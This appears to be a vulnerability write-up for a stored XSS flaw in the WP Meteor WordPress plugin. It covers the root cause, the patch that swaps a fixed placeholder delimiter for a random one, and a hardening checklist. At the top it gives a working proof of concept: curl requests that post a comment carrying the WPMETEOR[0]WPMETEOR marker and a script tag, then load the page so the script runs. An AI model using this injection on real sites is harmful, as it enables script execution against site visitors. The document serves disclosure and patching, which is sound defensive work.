The Exploit
Unauthenticated attackers can store a crafted placeholder string in any page-backed content that WP Meteor rewrites.
curl -i -X POST "http://TARGET/wp-comments-post.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "author=attacker" \
--data-urlencode "[email protected]" \
--data-urlencode "comment=hello WPMETEOR[0]WPMETEOR<script>alert(1)</script>" \
--data-urlencode "comment_post_ID=1" \
--data-urlencode "comment_parent=0"
curl -i "http://TARGET/?p=1"
The first request stores a comment containing the exact WPMETEOR[0]WPMETEOR placeholder text. The second request loads the page and returns HTML where the placeholder has been rewritten into live script output, causing the browser to execute alert(1) for any visitor.
What the Patch Did
Before:
$REPLACEMENTS = [];
...
$replacement = $tag . "WPMETEOR[" . count($REPLACEMENTS) . "]WPMETEOR" . $closingTag;
...
$buffer = preg_replace_callback('/WPMETEOR\[(\d+)\]WPMETEOR/', function ($matches) use (&$REPLACEMENTS) {
return $REPLACEMENTS[(int)$matches[1]];
}, $buffer);
After:
$DELIMITER = "WPMETEOR" . wp_generate_password(16, false);
...
$replacement = $tag . $DELIMITER . "[" . count($REPLACEMENTS) . "]" . $DELIMITER . $closingTag;
...
$buffer = preg_replace_callback('/' . preg_quote($DELIMITER, '/') . '\[(\d+)\]' . preg_quote($DELIMITER, '/') . '/', function ($matches) use (&$REPLACEMENTS) {
return $REPLACEMENTS[(int)$matches[1]];
}, $buffer);
The patch replaces the static placeholder delimiter WPMETEOR...WPMETEOR with a per-request random delimiter generated by wp_generate_password(), and it protects the regex with preg_quote() so the dynamic delimiter is treated literally. This adds a security control around internal placeholder collision handling, not an input filter or output escape in the user-facing payload.
Root Cause
This is a stored XSS flaw in the plugin’s HTML rewrite plumbing, specifically CWE-79. User-controlled content can contain the static marker WPMETEOR[N]WPMETEOR and enter the output buffer. frontend_rewrite() later runs a regex on that buffer and treats the user-supplied string as an internal placeholder, swapping in replacement content from $REPLACEMENTS without escaping. The unchecked trust boundary is the gap between attacker-owned page content and the plugin’s internal placeholder-based substitution logic.
Why It Works
The single load-bearing line is the new delimiter generator:
$DELIMITER = "WPMETEOR" . wp_generate_password(16, false);
If that line is removed, the plugin falls back to the fixed marker and an attacker can reliably inject WPMETEOR[0]WPMETEOR into stored content. The replacement step would still match and execute. The preg_quote() calls are necessary hardening around the main fix: because the generated delimiter can contain characters with regex meaning, they ensure the search pattern is exact. The other changed lines merely propagate the new delimiter into construction and matching. Without the random delimiter, the whole defense collapses.
Hardening Checklist
- use
wp_generate_password()or another strong random token for internal placeholder markers instead of a fixed literal string. - protect dynamic regex patterns with
preg_quote($delimiter, '/')whenever a runtime value is embedded in a regex. - sanitize stored user HTML with
wp_kses_post()orwp_kses()before saving or before output. - escape untrusted text in HTML output with
esc_html(),esc_attr(), orwp_kses_post()rather than relying on opaque buffer rewriting. - avoid regex-based markup substitution on raw page output where possible; if needed, use DOM-safe rewriting or explicit marker handling.
References
https://nvd.nist.gov/vuln/detail/CVE-2026-2902